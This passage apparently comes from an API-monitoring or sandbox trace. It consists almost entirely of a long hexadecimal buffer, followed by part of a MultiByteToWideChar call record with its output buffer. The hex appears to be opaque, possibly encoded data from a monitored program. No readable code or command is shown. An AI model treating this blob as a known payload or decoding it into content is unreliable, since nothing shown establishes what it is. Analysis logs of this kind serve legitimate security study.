078447AB894DD8502C3851EF67A087C5759214B75D6B49A33412BA45EE1FF8F544B3D1F0AF719DE9C66C9F83E5A66E3B988F8A3EBD77D01C56F1CC6F539814F268F7BB3CF560C0EF21230CDAD5C07DA43865411B9CCB492E1879BA89B635BCBF0824B91979B1C41F059929FDCEA1C04D7F5445B3C94C3A8D33ACA332E2E2E4EDD2BC51DC2568DC80B30DAF95DE830163E0EB6C92F9E798DFAFDA7F314129EFD88015FD21BACE5D230F0A88B53FB75EC2DA90C988262471DC388FB46A018B5C6F70B45208CDA3342D866DB4393D1B81E36B1726CA9CBA9A03BEC7A863232EA73DD420519F2B521E1326F68DF413B2B604C5CB240BAA04EB9C5891A6FDB5CAFE9F0C634783D7BD5D9000E95E591D04707BE6702D26A93A70ECB78A8C09E0A143034D5367B540BEF27341EF5B2558F4DC9126546F41E80FB56AB2F78ADBFE2EB2A5C3521AE1CF197068E478FEA5149BDA7AE512B194E069C2C0191A76D45E12C6C0BE36AC10A1632EFEEB9BAE25F57EF766796239005373DE556950CC0B3757453C4DCA6F36F71AFA1ED344CCB05EAFB91CD46E08E2A6D51C47E27DD3E8F6DBB10CB2940CD1EE9757FF336DA09653DF127E54D867AE974AC1D6C35D39243FD51123970A9C1C99DA5D401D672C6BB5109E9C762240ED2206B26404FC03FCFFF66EE5868E93D4143AE6E024A260E6BF32B2F6EF882CA945B908A15F5EA98C9247D120A64CF84D6637F30B9E98E631DB72249EBADD2B1CD0B65D60487469DBFD0532EEC914D093217F0C5530E6CA762918E29ABADEEB822BF51F6FFA0E60C04EA7A81DE8036F916D48A60F192A66345EF72FE78A9AE252EE61A6FD9185B58FA8F5F8585551AA33FBA289AEFE5A938DD50E701FB38CB760F7435BC4D0A400F7B29368B68E6EC019D8C1D04EB082FA1FFB4590D048D564A4F74B33C9B5A3A972DD4CDA3D318AD85E5F07EAB33165C3323C8F8AE51CED3638C508157006F032E1D6B2D2E94A32BCD36C3AEBCE143291342BEB06E11BC29506A594CA90C99716422631DF062F7F06CB6D43F345F14BA0081C0D4051BE8E5B32B475E286A8368A1FDA869A707B990AD20E2506DB505E4BF86C7EE6C7BA59167D30D5057C4B0EC92765ECF7B50ACB193495CEA06E358EBF6C6CB6F027C8443DED353860A568C959BBECE5DC882396BB67F960DA973584AD94A1C6D513AF49C8DB2FF72933A268D84A01D6AD4DE79487521729C16EDD48E6B1F5AAD10080E780CE1AF2BE371B3B37AEB1630E106AE436A801B225B27634228F992178DCA1C42D5217E50D56CD72E313F0CCF0C61F86EA8E04D9E7447FBEBBACBCE9CBD6653DF015744F7107F3F2955EF5038138CF4494DE4B9A52D70B95F879622AC94972381ADC970CE5960EDA1C815A7251C7796CF297CD7485A6A2E49275E0559DE67164C06967A4D74DD697A2BA4C811216A8E2D63B092CB56EE141348D715693F73545F2F1D5C528E1C264A9332ACD2AC7D1E15DFD2669BB4D1241728537CD441B4E862056BB23D4EE08D31457B62908DA418DB3F357DDB679FE7665CB3795391654F0C65210C12390A5DF1D5FF6F26197A798A0E78C6E6B54F568185ED4569C16A868BB7926C1865EFAC265D908FC5519102ECF00886FD3F437F190EEB3E811AAF58C90DE626ABDB92FB366C03AE7E60205EEE909552885C4EA4D7C9DF86E4003EF8F9A37C2654D2DC92E4936CE78DE059FC9D1C55B52F83798CC33AB4697527AF34A0B0F20F12213756351281D58DB2F8AD5BCF39F95D019822246975C95B9CE9D7FAD0F8F495BA5A6FC0CC8293ECBD04D4AF50CFD67BE59FE73918D1E77727DA0A1F7F47A965BEC38FAAF993C4830C56DCB9B742DE5AAF86C61CDADE1BE087515B588B1D234216C61C4A87CC2F2415397D3EEB1BC10624FF353CFF7B37E3114026E88C42B6BBA7AE690D4EA150B416EEB5FA97914D68CB0A078806DC4C6780D8723CA5F9FBF541C7588D9572EA0B8656B0A7193BC2424D827E8DEAC77D336FCEF15011244D00937FF323DE00AC2DD211DC505300A666935963AE60A17097218F44A8AAB7D6652C787E7AB1F1894D1ECA57515A1D437EE4ED8BCF07C9664EE8967AD1BB17B983E258271F58CEA287028E2DAACCB4608BC9AB1DAE995F03F4B6C73C071BF859E8BA4046EB58014D73D3F8046B01F42642013B777C20236E05CE6D5FAAF35CBE2BC24B932A451282BE56F94374172D21AE06E8235B54E704B1A5A03D42FDC297A66BB25E2A58495115ED3BF0880AEEB29375187B88A6BE17A169703ED3007D6B6B024B70C67120C0BEBDE8F47A099830680481B26BDE8E7A241E7ABEDD817CA6F25A84054238FBFFE07BEE5F2B0A9F337D5E1B914D0A57F3F10A2DE1C2129730C270A2E78093C49919024C8BB127409CAC6D3CE2E09662CB9A8B2E5A4EFC2121D53B96B2D1EA45FBF885F3B40CF4D68E62FB208F4B3BBB8C20A686BB73D93002A2088C3AA3355537BCBCE3521902924D845AF16C80D0FFA521056A37D9CD9695447692E6D36A64CA8147388EECABC211A71B00FD56C50DEDF9C2E50A48A2CF6D695DBB6026AF4FE1CC13D906A959978BC93D5DAAD0068507389636F1DE0335A754A28940E80D10DC7CBE5B0370718D5A53C0F0A8DCC88D1387961834E18FFE21BCA8974B1EBBF20D77F62194597BF2C884BE1D0FD1DE78E7F03868093ECDF45E15A4F13F239C578F89047EA0F98AFC96D697D89CEAD8581FDDF48407E7A46BB1FED67A36AD656184A06739FD3299D57D1FAF892637B833BD064D24BBB97CA0DB6E16E625388830D5B1FBD862E02BE3A3E4899254862D96FB07AA35BB30E109C2E9D59DF898C6470A9C1514EA1D20BF27A9979AFDC1F3918995C093280E2DBA8AE364C84BF7CB72ABCAFCB24C724BD08AADEBC2D479E0CBF4B160FABE52B110C66338CB0E38CACEAD007E787C68256A00691C67FAB04AF5F0C05B83BDA1EAA06602B465726641CAFDC9B876F455A27CB4225C7E06D0CD6D1D8CA4593860465B317F3CFB4F0EEC7E9AD05B6E94568C42790B5E347053340CC08903E5AB89D3682F631E8E427BBEBADE6AD2AD9F12ADF7FF19CF180E30FF505C77DBAA9BE838DB5B6F5E52E663B7FBC5D74469B41E6ACF5966951D5B9D890A092D817E75D51FFF41043F47BD8843F04CEF5392A45FD11FC46A3D1649B0BB513B63FB2F352AD9206D470C122DD7DB85722861E73BDC0E9C3E1C1653535A24145C055531A771B0B37C3126BE6BDDD47B4111D7BBDB31DC2A19C3E6C72982F82CA37FA77295632280087D08A82C0404BB786AE956F251E1FC9087520CEA5BA8D7DF17C93D439F03FC199A3D66CE23BE326D465D81E75B70A3B7A458F6AF62F58789C69B5BFD0BBAC44723EA0345384DF1FF9C22C8C6F579893600486F41A75EEA0D0F133BF777C7D932CA78267BB08EB26461D1D72F159F9A9B8538A1085BCA49FB17CC143226AF917C5033983673326C6EDAB8F66177B2BBD77ACF5CE08BEFFC9035FA74680059163BE31B0E59A99CFEC15322C3B87E238C8CA2A955C1A4B04934B171911CBEDAEAD44728BD360F2EF6536F746B4DA89FCA07D9426904F9B02333A581264ACD63E125BFE838279AA2820E80CD29BBE59133659B4062FD481266A915862869536E6670C7579CE2C68F9C92E5613C6FE92B1EAA8D147FA3E43000720670023E968E777F4AE5B36E8EA7C863CCC6A2F18A723E13B9DA5B08458C7F55C84CD03E32D6B48A07D9969AE9866F75857ABD2DDC2110588A69975B47C022C040EC2CBFCC93935F736701381B3285ACA3B10F5E59A4AE3F5CD35E8DC6259F71060BCCEE587D28A7EAB25754D1F42EADACD18061DEA61B1B91CBBE9F2A02F7B5F7812FFE1BBA7C1EBF5F634C2E39D21994D0C172E6C8578F42E22AC44F3A29EDF315FC4C591A10BF77C01BEB52955E801C86699B006042F082C7B069628F5C19A42EE5E09A7F0663E5D92DECDA47EEE856F87A49A79EF262DE6A35E1C05713D90D13875B092A9ED5946D7D695D90E9B1F6D0206E7DAF913BAF22CCFF31F40001144CC177E2B5AF5F26978ED157B53B7A113CC8F070664E8718D2F0ACFB6CA3A63506D28CCC92F7B9A87CB99A643B000AE907C74652C503F48A63D73C6A2C1561EA70C5486FDEFC995FC20AA08A1CA760CC453EB0054CCA26F00EA2F500AFC0BAA653D11F667FEFEC47764B7FC9800CFD13C106643B0269BFE2E3A86A396421B2F67F2BF1E47848D0971617F6E82C72F6B3066674BDD094F2D8C3B0EF45EFF1A086EA19ABA75A464C566F36A740B4770089BD152BC8AAED12B2A17E3911B40B84758E6B7C54CDF73C536CB28FC20A08E94AFB7659760A651E0288B7806035F4C37ED1E1B260C7EBA016431B1165702795210A0C450561548AE042655E1BBEBC952EC8C262EFE68C1A2D9097186EEC645B1C3B3CB58064957410F98885134DAC20D0278FCBB3540EDBA3F49345B960D24B41028329985FE65D903530C6A6B987B327BECCB8234CB84204D3FBF968F0853C65D3A53AE75390EFB2AEBCDB8A542AD21CA3B050EB1A1ED84F2C1DFA402A0B12220202C154CBD98A81FFB7951E6FCCE06D36C5D1F16ADD8324EC7AA6C4D6BF96DEBF61F891BAF07878237A6BD509D1413EF39D2331832F7F82C5C99D94E184F1090ABA3E9A208FC53210380A9D657AD0D945C12B095A1448B37C0AADF6E1918AD71C78F4C0DF1F45731051548F40B2FFFBC8E014DEAD6771E1E6846D00D0ECC73D70A8E8FC3B3E0EB8BA247B5504865BA9C39D6DEB3AA930ED6323025F414A21F88596B3677C5B413E0F297F8BCF38FBE11B543AFBACC2C7DDC4D28BA2617DCAF2F88CFDE77D17A8A4A8046B82095604427CE3EA24CDD61755B8C3FE8BCAF523F01274293DE9F989560C9107C23C77FB46EA46886B54A3713543E646E6BEB0FFFA23E7AF0228F74EEB6293D191820D88B8895D0319706A56863C45FD9662CE7BBF63043EB70D126FC5AE3DA764C658E890640C63301056F0AE8B9D9C5370579EED476345B4F7D66BBD2B62357B337AA71FFD40F9FDD01CC8DC9496FE6F3087FA953FB5E1A9261E7412C607600F91A87D4447D50917214B7743B8274892BC688D7E8CA6A8454F42C461EF3E24192D21BD667AFD156607AD368E4390C368E9FEA16F5EE038AA281BA7E0EF1A6A66B6A7D75ED34D1248EB12EB5C04B1DB1B37DBB91E0F16FAB70E41FAD7D38506D8FACBB2CE2DC132BF5308355ACBCCE46FA8746C35FFDAC380A39C4088FF5CE8F72173A5A77ADC919513BF15617D7A781C083F0DBE771AE010F5B1C31FEB9FE9A038439C0BCCDD001F6B8B85D4720CBBEE77CBE08EF5CFE448A684FA55CA6E8A18D0CF1C036A90C5C39BAD845E651B4B73EB0E5F7792E70C14DB3B48826F26FAEB0227C6B4CE0FDB87F61C4323B1E3BDEB5E1B04D5387E698AEC91FEC81BCB10FED57D046F3499D50397C5EC190BB6AE32F1352FD797BD4242B29EB7432040CACFA646B91BFDE6832FFFC8D97430DD4317CE89EE7778953172C6FF6B50EB1FEBB3CB554215FB603BAA03FABE3BF3FF67DFB0ACCA02828775C050BCBF91AC09BAA3B6741F48A7BFB6EB79424033ACAC3497AE4C6EBC9B5C75684C44622B6B096E30D9CC5CC00328E658094E02C00B0E541389B5823D3DB4B45C615E4CCC067C4A1F6BAA85C9900BB843354F6FE35F6C6B6AEE8DDD2D666AEC362B4E9F61E51BB7500AA15BA085549755FCE10C8B36557398D41FD56FE2774D3AEAAE021B4D33DB0A93AE185AFBE49784B57922D2481C43604385B5F4D1B44E8859507A4CAEDA23D62F7C9C5A170A2AD8A875635BDAAEB537FDF2FC45C2362846BC1D6F22496E2EAE329941EED3CC9575632F6D5A0C08D0A8D70F51BF66B890E653B89ED3E357E064E2A4C443D973381FB5B8F7634137167878298FF02C3C179DD654AF77D017F914951DDC12E5CB08F8FA4E24EC1303EEF8DABBD96C5DC3EA332AE5DFD933720ABCA29C60AE75A03AABA5C84F664CD875AF04344F367568E1B237E3BA214773F55F56BA20025C4B630493182F3CC31F5ADCC39953BB74C2211C5CEBA22726EA7D373F0955DC278599D5AA1F134C2425097059DECEE8CBDBAC5E4B04CA5754A9E26F55638A34D8D7CD6AC76079CC2389D213A651C9A9E6BB1C1944A562E3A646AE44B5D780958809E7EDDB369EB26CDB408C2090851AB4076B757E20D65887539248007467AABFB03208B76C847FFF4EEB6CD61ECBB546B7841512FBE1DC97017BF0CA7B78D86C60FC95D542C17E6C2F36D37BB7703E14829CB51034DC0CDAC87B6B67842FFDE4EECAA672E0E5C0F2841649D7A006D27CFF0B2BC718DA50B795911CF6ABD2598AEBB3AD17C6E316AB8F86B3BE07F537D66D8E6B23803391517B5A5085063ED7EBC1AC704D9CF66AC51A21C8B02BC8D336D84696BF42202FF8C6E3F7EE604D6928B5C460E96CFA96A0B9148CC7534E77969F3B687056FDD3F16BA008CFF4A6EBF3C4B3DAEAB86057C1E53EFA1EEEF314A916FBB8548F2888191F0872AF14EF04E44E35FFD3AA088F1E53B571EEC26243104A6F5F56DAC00CC299CF1418A88F95E4BE0664473425D0CA1C8A71EF9D7F3AF430D740A48D56486200044F103F14E059A1E0AE71E74A5A287DAB9349FF10175E37E7DA788E4898FE71467F461A215F2BCE504DE583BBF5FEF8879BACDB0BA2E32D72CC9AF6747273081DC303E9604502A98C6DD10B563FA00A5509FA7336DBA4130E3897F7E6AD2935A5D24D06932D159F8039E1F384DEF977AA5F1093DAC0F903A35608F44DB9DA2FBEA85EEB1CD9D7CEC6FFE4152D43D70B615D0BB040CCD2671FFB59DB363C0E703A521CE7D63CFBD1772C87EF49544CA435331B79F8AA1DF8CB31F4AF45B89E1211260991570CE360AF8A20C263AB57EE703C11C1158442279F381086ED9566D547CBFEA3743403D827B305D1CEC243C845B294CC3A7C4D1B35D10C601D08BC3EA128215B7CBEAF5C390A6251E9146C8FD84F0730B7B9F8BFD1258B9564D37A5BA4196531E24685F9258B4B1D0BF013686CDFA0BCCCD4492D8E2BCF91E00C15862A442AE07E4C76F7A22629648C7255B1CAAFB5FDC44D7ED78EAD9CC55031F3E1F7D0819BF4BFBDBF12BD29D7A3919BF38225E4FE616458A08A48CE29441C14C52B7EEC40FA23EC274E72299E03F2332763063B610A917F3604E876DB7A968ED2920D1FAE81E9133F76E49090509A49B2A833047D36930AEB2F36359BD4AA3D65ED2B590AAB8207BB51A4392597172811504EF8929E61E23E8E0D158EDE88EC1D1CF8AC1AB94DB00298C37E8596872F8D0A834A600F5B26828846F32C39CD88D572E89F703FCD4F211500601EC7773C8CB00E28A7B303760201E77E73EDD2C2A661D6EC86A5F33A33284FF6A5E06DD90DF59D3AEA863B00D482047E6A883A7A8153BF90138573AF53AED1EEDED569EA51663C54457113A212293DA37A28CC8FB58D27AFED2FB6B4F4AC9353CA4957D5664712B7776810CE0F4941E05B1FE34CBB33D2F93B8CECE4F700DC7148E498EF74C763B417B038734E79830727EEDF7E6BF78ACC07AEB728B0132BA1A2B394BDE8EA38B6F26A780F4620CCE412603A0245A653975AB2CD0F110A89CB668512C66AEF41EE507A347B16CB68FB61FE7AD140ADA30F61C1471770B71ED0BEC61E48E900E881F28D908C220AE499C5DC18077B3F7DA554738D4C5E4C636D3790EF06525C123D27315E7C9859A2542BA0F1ACC00C740CB340050292B21133597A5F052EDB55CD0DD1153C900A755E142CFB99509AF491F038610695D0A5E7D77C94C245CF6F6F932F3A909997D7E33C4B0C22FFF378CB64CA2E90AC3704C279183726E942E791DC3C571AA4A9D8C8BCCFE7D97B870EB875F47CD6006A0A2DC52DE65B98E99A7E7DD1E40DCABAEB6EC14D963C7E4BA64B3DD3781616DD50CC796229B2767D73F9139FEF3C0BFCAE7632478716786B278B3D8BC02E3BEB86CE2E76F3F68AB2496D62F77FAB2D6B6C92634F4492AFBB094D8E5ADB7FAD151CCF6CEB6002416EA2196A31742EA5E223C7C392B50F4F8881F524BA8FC9B50A13BE380DC4CC73F61FA93497CCCD717BECBDA23DC1AEA0580AFDD299086D9E3E0C62D088CB2CCD6CAB5AA7F7A704E93BD3B9AC5E7A685CBC212F1F6923A118BBA8EBA3E5BF62D83D7F022F7DEFE704EE591A96BE21BA0EA9A0A16F50308002F1ADBCEAC3542584BE4AB8D9E29F9EEE2B0ED3A9B7F0613981EB2FF0761DAD67A0114612006531ED885448BC8FBD0C622634D2289C4A5BE38FB00364DAF991207549A98EBE92A0C2D5FFEFEB85A666A3BA517A3F8D95F2239AC175B350E257A6D95C5B99141418F04126C0BA07770D619A9BC1AA1AE19151E6FF4D56A1607E1E18A3FC73AA5DD2C2F39290FDFA4949AE6EDE2A950F1234064BB729EA9275415261D8E862162CCE19D05E34BE57781B5CC46784A5FAFFA6D96496EA662D8E48FC293E51E02050E7618B9DA6A22A9C71FE2B291BF9BA467D1CBFC25FAC4C223AC2D1B067C6D331D29A10F4DD84C42664C06405C2B76CD93E9ECC497899B89EEA04D60308648F7FB2BECBD7DA23A33DEFA0F7269C85F6C5A1AC43AAC494F6BC142EE1436C6E0CC0CE1BD433C1C56C9833ACB4887DA75A4C2BEC4279850951E30A45E47977442FB0B4AC00ADB54484C2909031A4ED4746B30082616E1A3FD35FEDF77CF561A4DD9B60362BFA0C052385C548C36894750977D9FA374D4D08C7C6B1CADA704B03171A8BB38A5B832230B98FC82431F2446BC137FDA8299840543B85CC5A426D6280D362FB4AD2A163DF2D9F1AD2948A80D78EA356A75164A0DD34D93002DB0205953C27FD84847C516A876F08EB26054E7AB2540052C1D74F82337DE38DBE6353FBA883CBD7E304B7DDA9E9898A0A13756610ABAA53FDD84B942CE21652D66C829C02FCCCF0468F03A35D5619641047B6BA9C6E16F850828ADCFD8F1351CA8A375BBCE7FE997867AC4CA02B72CE182FE8043895F1455E454B73C46AF6499EED2E9015A05FFC5D5580E5E705425549FF76FB3DB9FC5E9422376E234019D5E5063310B695BEBD36C53DA2F427C913EC1CB691DC296AD2EE41783DD55D6CE23813E86D9600F529FE055E23B0AD871CCE34AB7BE236C655FF2729879FC1380E48C8630DBE5CEBD1AB84A45CD01A6982C7093BFEC7D8305A33923F3FF1951AC3ECDC2BAB838A65173EB8363CBACD119ED4D0F41D034B3328C85BEF4ACEE3F601D16D8FBD197F1048281C07673F460D887E210E3DCE6B3C86B218CCB2FB1ABDED123BDFD315A671A6ACED0C7441D98FA83E3E5CCC5D0C0E7CB8150A5A7F7C63FE61E83B36EF218A46B3C1AF6F5FFD5E763DD11634A0334C5C0033851FAC6FEF1E5B0A9545706240272EBCB66BE3629EA388D37F7EBD4B8CAAA51BEA8A30115DE4CC3CB97C108DA559AB14EAA53E44C7A69F998AD974B00AFC4C652D2C442F391925194C8B2B6158D386E61E2F10E0F491224F4D659B69EFEFDF89FD3A2BBAA5055703A2D2AF612F8C7B6BD45AEC7ABE145195162C77D4BD8C30A994FA9E158264B115A2284D78C6CE14D807F3282EAC521CE2B7E89E5697F638DEF1571A57A58E2A6C6E4BC3CBED174AB0802729C42645BA3A6C90FF9A8E17BF8951AB273761A5FD5851735962A0156E24A3E199E23E71375042976EFE025FABF2E107105A6F236D66E3E8CF91C533B4A559FA70EFFBB70792E6627B5E2DBDA09C47E647B39BBC74D64F225EEF3B209E0981216A16B744A7741B6D1929DB2DF6A3329345FE6AADF67C86B04C7C8D65D5B019BDAC887A6025B577E489AD7513F2EBC6A460DBBDEA7A84BAFBE8D71130B718090F8A2527F6E2FB391472A15CA9E5701F9E8700CC3E3E772D3E578C54A52110C80B0F96403D77AFE1A314D4AE9C3E6305898B019997C27587B86F486FA64D264BCC57B16112213C711A9476CB76A12967D3A09BEF6EE2A4C9F6C6D10678E3E72F30480C39E77E7CEA83FF853A18FD7DC98A7686AA01F19B4A88192E57387A5AD363082BE1F55449186D899B2D30E5C65F1882E218DDD61F091944FCA011A466E1BCD71CC8A9C4F6ED90C259D1264468EC9CDAA31193E602A1395A7734335505467F191D02EAEC41478D3DF32F1C77A68FE710B81209B03476402B4801FC8F52C1D8E30A7828272835ED427973A5BC1E55735C035A319CCFEFD4B61C6C12CF4EBCC58B7F05EFF4E4AB186DCBB83F440F0CCE6633FA089B53B148EFA8EA19CA0A01DB3740056407A569CF7604521473DE4131369B9B715DC8C53BBA42DF59B1415BA5BFFEFA69094551CFCCC44FFE74CE7B1E679368A862C4B4C559AC6ACEA52299F763A5885532B73D7E167E3DFACB368697D8F9696A076C5B5D418982A594A9844EED96984986471F1E1BA0E9620C18527B9D0591648E128FD76F8B7A51E98C2B03DED29FB17A4FF08DEFAF9CFBB742636F889894C50713317F135F49BE693D82EF9D002A9ECC14D734A04770C3028BE8C09A94D99F5C83B0ECA43B7706B591C5AB3B385A405588637BB6C979130D59C762954535179D176FFF996885D62E98216C8829B7EA63209857185532FDF36E80D47FAD26B9ADE05AE28C0925936CDBD51173E164BE1F86B7B70E271FFEEA072BD4DD01BED9C79B991B8ECA9BE4E63334871FDB27991A9F8107E8F93FD169199EB750E97711A26B11C3EBEF54719476DE58AD9D45C28A2F011540800ABB60581F7AB165855457EB7BBCF99FFC42B3D8A73281219D29F3D667F383C0A22BDB3098F99D1D7DC5D3B5263FB6E2FBC21737431A7281D0C59921EA5326AC862D8152EE11B30D05E56D1D77BA005816496CE0299BE5A3F540BBE8EB966881211058DA64E1B2682CFFBF2C876C41D8F337C8C11623C88C07FAC6ADC4EC798735109DC34B523D639F82CCBBC0418CDA57B382AD75377A4173CD14BC4B22CCB83C8E2B812BFE8FDCDED231713BF6CA86DB213B256EF3CCA8BA597FE1701B50D50E689040A9B95BAE107BA258838A817F17C08745A7A74FFE202EE2F541F5798359B22F1FC899FE21DB4B44FCC70A411DEB81738050546D1E967D9BC4FA24EA289A9C539734AB65C01A332CD1D392A58B408EDAD30D40723A37DD154DFB7BEFC6DCDC516F32C5EF1AA8047466170FF18407D477C50F7DF3E2F3973258970F5285F314664376423206D39EF944DBE8FCD29052EFF7EE2D3935A8CFEE5B04A614BE24FAE40AB0ED5B91C59C6CCE29AA7642F49BF7FB268B644C29B10180ED916510BF9F6376536161A0C94297AE262C5EF1FF5A3AA14C9EFB16E66F8FF16DDB9CAD60E650560DE3E1F30C7680D9BF58A1B9DDD2F38A466868C2505F078FDB4845296B60191724DB35FF39B344580FA3D3C56A9485545969503CC4A90A6D0ACA7668EA80768EFF9DF088792A12EE5A12C4894406822DD38A72C09D557FFEDC38753A2B32CB7DE7AF6071E301CCAD5F43BD2309381F6400130B7CAAAE82C91BADA6A23F165F4CDC26D2101AFC4F77D1AC33115A71AF0AF92040780439F13FEF94504EC8BFE91ED899E2A8FF5A78E7C351B708D8574537E38729366B397D050457D17823F0F634F63082B04E8B7E836AC56F1E82865CD988F81ED8E660B34245B0DE2138EC00A9FAD73E0596A375641F02822187B0BF02C832E40075A5EEFD28AAF4C8921A60D68E7A80F2BD57228B3751BFF07514BF579737274EAFFF1BA1588FBDDA08F2CC3D58D2E2BD79EB285E2C2D3C334F531ABEFA914EC679608BE15B9CB2DBF78A08E1DDFEC601E0D9CE20D6B12E5F088D846B8BDE05836C6912A470684A6C6F4D855AB2712A1F4B249BA12A50FD3C2DEE340EB8AA5A7D7D8D2C46F86DF0393AB08BE5443409D8097B8147247531B1921F68124D9CD622CBF86A0DA149B18EE6871485F108E8D56F50908BEA6536842E008BF23867814A48E271228CCFEE5132B1CA103274EBD7BCDC8C0F0D8516C54466DEE3486FBA6C32D256CA540A49A66A3D9DE2345A51E3E0A5F0A78DD1203DC60E9F765ECCE1AAC03F14113301D0EAB3DF512DD9768687618CDCE43242F8AC0FA709CB90CD960840FD2168598E15F210AF8CC35905F1BB00F77B595C57D5DFA2C5F6E44C6320370D137D8C0637A57F36B2D8BA9D8C3004F34EBD6F170B5D7638B8F4B1CEECBE7B90AFBC77EC8479BDD022357B5A37E6BBB501631C9138E1A9A13C03837A2E2BB551EADC9E37A674BF68260E5553A9423567D29D37B5CA0D48A3D35D4F4A1FFD8A00F14DF92DEDC158E22F99DE8283444A03E30B0DFBD3FBBB2979F1A1166910315618FEDB92743293E4D96772B5AEC52584AE0452458D0172F00D29C1EA51B897E1D76F03815CCFEAFE190E3F7E814EEE2507DCD4587BD2FDA21A068B121DE0691B38A8CDAD775ADC9D6A574440C8A788D8E40AC8A4B0B94C2FFE6358612B012CD0190EDD6623D713EA2AC82B56DF858D0E7C3404E43845B3110222B6E8ADA05F1074F0019771FA845CA967762DA6991317D6A0FA5B22A0444E83FF3515BD6AED3916136B0E54A370AD7CF565B393C8E3C6DC3F92624EA0005B4468D825B81D72D3215FEEAEE75D537D9FE08F24DC3A360D8F826D85CF2E10AAB54ADFDAFB8C117627A855C76E261657A3EE1A3DC2F4DE88CAD05F37BBA2DFB7970CA91B021708E3CFE57B0F4343686A19FE554B514FFD972CDCCD4E94D15134CFED83D5C621C1CD67C4354A62D54B1015B97EB8A8E08A12CE2A8E19EABDE3771E459B67FE46A64894FEB430032EFC2987999E2248B70FD6EB85597EB4A19FDF98DD929369D1E0AEDC616EED9F302F511E93E997DCFEC64F95B64333A3E2C392950087D904BA6EB08277FBD2AA100DDCBCECEF46ED8AA326943048A9BE684E4363FED6BC750EBC9D3046DEF76060A755CB019A19E53C02E222CB1484C28BE408C3FE1AEF6F762CE2B61B91F27163645B710235A548214D8C74AA8A587786AAD0E2CC68657D3C10DC036EA3D17FDD65C6BB07B5F46FEED89D9A6608198A8D9799B11AFFA9070C72A9432DEE90493855D961526FBC2248105C70156A7DCEEF5E72F779B857D16B1095F7F6015723D4A66F834D2891A148C54EBE1BD4DF0F820014D59D657CC6EEEB74F938D5F0126603BDCD68F1940418C8CBACD298800B60462C19D813F112BC993818FE5FB4058EB2AE6F577C5A9B52332797EC42B4BE80B77E0F0D072EF9827982CFE8C39F82F929A66D8EAD6CD20D6C45BECED4FBAFA47BC4197DB6526D1D257371E4832D74FDB00CFDCA26136BC6226E036914C4B7A014A3863EB3CA70AF638D49CB1786C0DBC021797E3E5432B1D12445918F2921502E8F46C8973F68B7B795E91ADBAAB05B51FCEB8235134361E9DD7DBE12A8709A155B0BE6CE6936A34A68B8288F82FE8254A60676F56BEF1E06FA840CF97FD9CA14C3988B051660C3B2949D2392A85C52D6A6B0377A3CE1C45D8B53294C2BFD00F6F23A40AB227B1C9285203E80BA52552D96B034C8940AC9432B0C5784647361A2BEAAE7704AF69D7D516A5B7FBB66F9CC421A5CAF2E3DD889F16538E232AB27A8917E8886A93C0300D8682489243E47121B2346561472CE557FCDEFDAAC52ED8E453D4B65214B14AC32E60AC2792F3423B4C57B29547D9F3F66C6A5735895DC8D5CA897A8D35BE76554C90B2B6EAEBA4777E0366A2ABA95D24E26A3B99705214CDE6073A515506B84A23A4E55E75E2EB4DF99034EF78F662AA4BA13455E7B2D105D0936739A94B70B62B568A2E4C64597A6EEA71922D1AD732CA5A6810410FF4B535B093304705CF3798FCBA0B665A4FC49450B9165663F19D1C4925A6E9FA8732AF618E44CA718B9B3F75342DBBDF3E0B5F4F6D2B83277E0C6263A12FB9932CCF438ADB3E8FCA5235401EDA5416B791B46FCF7005BF0CEEA06EC7B291BC6AFB5C32A45064C50CAAA914632914B4C855967E02E4A85A8E670FAECFA27D23677E56BF2F5716AD99C6F3E6FE86A5526823A57D982799DA2A15763AC7BB6EC43154780858C3883E38A9473EC13B7FE0BB593D9C7EA20E2CFADB4AE0423ED5CC81C49AF7BAFE8F8332192A4BC2EAF7B0AC88D3499A7A84D56A2B46D885F27847D4183F2435C580CD6F442F407D5026B40CF7A2E05A6FE5739194859ECA9D9D8DEAC67501D508E27F312A1E3D7651598E5CAE99DC63A26D0CBF606F3C4613B356CA58B73C0316A4E9E3E7F28E025231A34E82A88705F9BD89A453E40AFB62288CC73517350E370A641348D53BFFC149B6CEDD470464E8E1691CF9936977B87A03DCA3531C67D5ED03911F23468CA5C190AE25B8361AC8A405D47AFFA4ECEBD77EB7456452EF85369517CBF3C493BADFB85F0C53365FBB2C222CA3F4C7B99E7223334CEA522BB1DF1F7795F58ABB70970C5EA1CD378539BED08B86915F6E2CA41BD7A107D1A1E2B9240E16E13E65BC0220CABC60B9213745B565B3554F1AD68A3C9400A76F2AEFCA89F38EC10A34CDF981036275E8056EDC64BC52A5D7E740535C8004277CD535CC13B7967250D43C0FDE328E0D0DADBD9705D442A89980FC85814F6D1F9746B81741ACCBB67C1A3983CA59CB4030D7476287FC4177DEADB34E5EF7C331D0750108061", cbMultiByte=230435, lpWideCharStr=0x11d12a8, cchWideChar=230435 | out: lpWideCharStr="0xAEEB3DE2015BCFB9BCE87C063C0EE10FAD1C43781D35536E334FBB034A113AEB2959DCFC121A2571BC36A44C939072823E9841E051E4FE0C3121685E9EFA8EE7965C13930BFFFE59B15095F6C86B73B462F546AF8007F6624ADBB961BB56AD2DA0E2C7AA5F5CD9058F525AED8E7AC20B9C1C634C3FC2221BE12391479F13E70A5A699F931CE33D1135AE4C9E1CDAE06311809DA7F6A93ADDD1EC4D9C49716E8895239FF296843A4D77566C38225DBEAC5932519A64A87629F24AD9C93EBC0E6676DF9B9EB2633D4F88850E170BB6165EC0357FFF05EF4DAD0918933AF6932CEC695E88350FC5B57431E955BBFACF755871D141A5624C5AA8D9604A6DD99C1DFEE52227CF1EA6305D9CDD401AB47EA32610AD7108BFD688D8C1176181937A20E4D8F20C8CF7CCEA78E924585C3D437C7C6AADB4BEE88D60C8AFACBEB4B0D01C3DD5C1B456C0DE14B4471F1E273AA5D46A114DF605B571F7C31F79755D1E9512AECA31778E46D142F2959B552D49842C6836C6EFCB198E087B3B84004768E0C58BE470AB06C560F81D01BA26F4F9541A6DBBCD44532AC778C52136E23A51136915D9BF8BF3570ACBE4F9C7D89202D5D3C995A882BA13DCEBA72AA860052E71C57A5121A7B562F8F997A324A0553EB957D367CD520993221609055134FE939B2DDAE4EB96287C2CDA111A333B28BC484093C118ED2D0959A35A94817750D0AA05DEC717CD55F5CD2044207896D1BB8E547AD620787EF9F124B7FF31263E2FE391CA15FC7AAEAB11CE7D58D307E666E6A8B74775F3D61A95F098AF768800B1106A95DA8A6FF639E735ACA1EC749A5154345770345D328D4902E8D8B5DB61B7BBF5D0F03D66BF05CB5B5D3BFEDC8AF287C967D3A6D016F08B6EF5798DF40FDAC1155DB997A1